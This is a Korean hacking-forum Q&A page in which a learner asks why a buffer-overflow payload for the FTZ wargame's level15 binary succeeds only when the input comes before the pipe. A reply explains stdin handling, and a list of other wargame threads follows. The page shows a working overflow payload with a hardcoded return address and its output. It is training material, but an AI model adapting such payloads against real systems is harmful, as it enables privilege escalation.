시스템 해킹

1574,

4/79

ka0r1

이 두개의 명령어의 차이점이 뭔가요?

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1907 [복사]

[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
my-pass

Level16 Password is "xxxxxxxxxxxxxxxxxxxxxxxxx".

[4]+ Stopped ( python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat ) | ./attackme
[level15@ftz level15]$ ./attackme | (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA²„
my-pass
[level15@ftz level15]$

attack이 앞에 있을 땐 level16권한을 취득 못하고
attack이 뒤에 있을 땐 level16권한을 취득합니다.

Hit : 2065 Date : 2017/12/20 01:09


gihacker	15번 문제 소스를 보시면 fgets(buf, 45, stdin); stdin 으로 buf 변수에 45바이트를 입력받고 있네요 그래서 attackme 의 인자로 페이로드를 전달해봐야 buf에는 아무것도 전달되지 않습니다 만약에 attackme 의 첫번째 인자로부터 buf 에 값을 입력한다면 해킹이 되지만 지금 문제는 stdin 을 사용하여 입력을 받기때문에 안되는거에요	2017/12/20
ka0r1	gilhacker // 답변 감사합니다.	2017/12/22

1514

level1번 문제 질문드립니다.[3]

in_reason

06/26

1740

1513

[re] level1번 문제 질문드립니다.

in_reason

06/26

1388

1512

pwnable.kr passcode 문제 질문드립니다(풀이 아닙니다)[2]

hackxx123

06/07

2028

1511

정확한 메모리 주소를 구하고 싶습니다.[2]

krimson701

05/14

1862

1510

환경변수를 이용한 bof

krimson701

05/08

1837

1509

안녕하세요 Eggshell에 대해 질문 있습니다.[1]

Dork

03/24

2415

1508

리눅스 어셈블리어를 확실하게 이해하고 싶습니다.[4]

ka0r1

02/22

2036

1507

ftz level13 질문.....[2]

dbguswls030

01/23

2070

1506

fc3을 하다가 궁금한게 생겼습니다

ljs0652

01/22

1715

1505

제가 시스템해킹을 공부하려는데 도와주세요!![2]

t0mcr00se

01/18

2355

1504

안녕하세요 FTZ Level4 관련 질문드립니다.[2]

Dork

01/09

3334

1503

FTZ 18번 문제[2]

ka0r1

01/06

1836

1502

FTZ 19번 문제 관련 질문입니다.[2]

tjdalstjr938

01/04

1922

1501

환경변수를 이용한 BOF 공격시 의문점 질문입니다.[5]

tjdalstjr938

01/02

2313

1500

파일에 setuid를 설정 및 setreuid()함수

you88311

12/28

2497

1499

리눅스 or 윈도우 구조 공부방법에 대해서

libera826

12/25

1961

이 두개의 명령어의 차이점이 뭔가요?[2]

ka0r1

12/20

2064

1497

level13에서(2)[2]

ka0r1

12/19

1916

1496

입문자인데 droidjack , spynote 질문

jwjw9900

12/19

3143

1495

level13에서[2]

ka0r1

12/19

1858

[1][2][3] 4 [5][6][7][8][9][10]..[79]